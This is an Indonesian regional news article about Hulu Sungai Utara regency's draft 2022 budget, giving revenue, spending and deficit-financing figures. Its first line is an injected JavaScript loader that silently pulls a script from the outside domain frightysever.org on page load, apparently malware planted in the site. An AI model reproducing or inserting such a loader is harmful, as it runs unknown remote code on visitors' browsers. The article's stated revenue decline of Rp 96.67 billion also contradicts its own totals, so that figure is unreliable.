(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

RAPBD 2022 HSU, Wabup Husairi: Target Pendapatan Daerah Rp 918 Miliar, Turun 3,85 Persen


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten HSU menargetkan Rp 918 miliar pendapatan daerah pada Rancangan Anggaran Belanja Daerah (RAPBD) tahun anggaran 2022.

“Dalam RAPBD tahun anggaran 2022 yang telah kami sampaikan, target pendapatan daerah kami estimasikan sebesar Rp 915.888.655.080,” kata Wakil Bupati H Husairi Abdi saat rapat paripurna DPRD HSU penyampaian penjelasan kepala daerah tentang Raperda APBD tahun anggaran 2022, Kamis (23/9/2021).

Wabup Husairi Abdi menyampaikan penjelasan tentang atas diajukannya Raperda APBD 2022 merupakan ringkasan dari nota keuangan pengantar RAPBD tahun anggaran 2022.

Dikatakannya, jika dibandingkan dengan pendapatan daerah dalam APBD murni tahun anggaran 2021, yakni sebesar Rp 952.528.355.410 terjadi penurunan pendapatan daerah sebesar Rp 96.669.700.360 atau turun sekitar 3,85 % dari tahun sebelumnya.

 

Baca juga : Pasok Senpi dan Amunisi ke KKB Papua, Oknum ASN Ditangkap

“Maka dalam RAPBD tahun 2022 ini, belanja daerah kita anggarkan sebesar Rp 1.254.376.430.013,” sebutnya.

Selain itu, lanjutnya jika dibandingkan dengan anggaran belanja tahun 2021, yakni sebesar Rp 1.426.773.051.913, maka terjadi penurunan sebesar Rp 172.396.621.900 atau turun sekitar 12,08 %.

Wabup HSU H Husairi menambahkan, untuk tahun anggaran 2022, kebijakan pembiayaan daerah diarahkan untuk menutup defisit anggaran belanja daerah yang berjumlah Rp 338.517.774.963.

Untuk menutupi defisit anggaran tersebut, maka digunakan penerimaan pembiayaan daerah yang bersumber dari Sisa Lebih Perhitungan Anggaran (Silpa) tahun lalu sebesar Rp 194.767.774.963, ditambah dari penerimaan pinjaman daerah sebesar Rp 186.250.000.000.

 

Baca juga : Main Motor Trail Insan Pers Bersama Danrem 101 di Kiram Park

“Setelah dikurangi dengan pengeluaran pembiayaan sebesar Rp 42.500.000.000, diperoleh netto pembiayaan sebesar Rp 338.517.774.963,” tutupnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Desy Arfianty

Recent Posts

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

1 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

2 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

2 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

4 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

4 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

18 jam ago

This website uses cookies.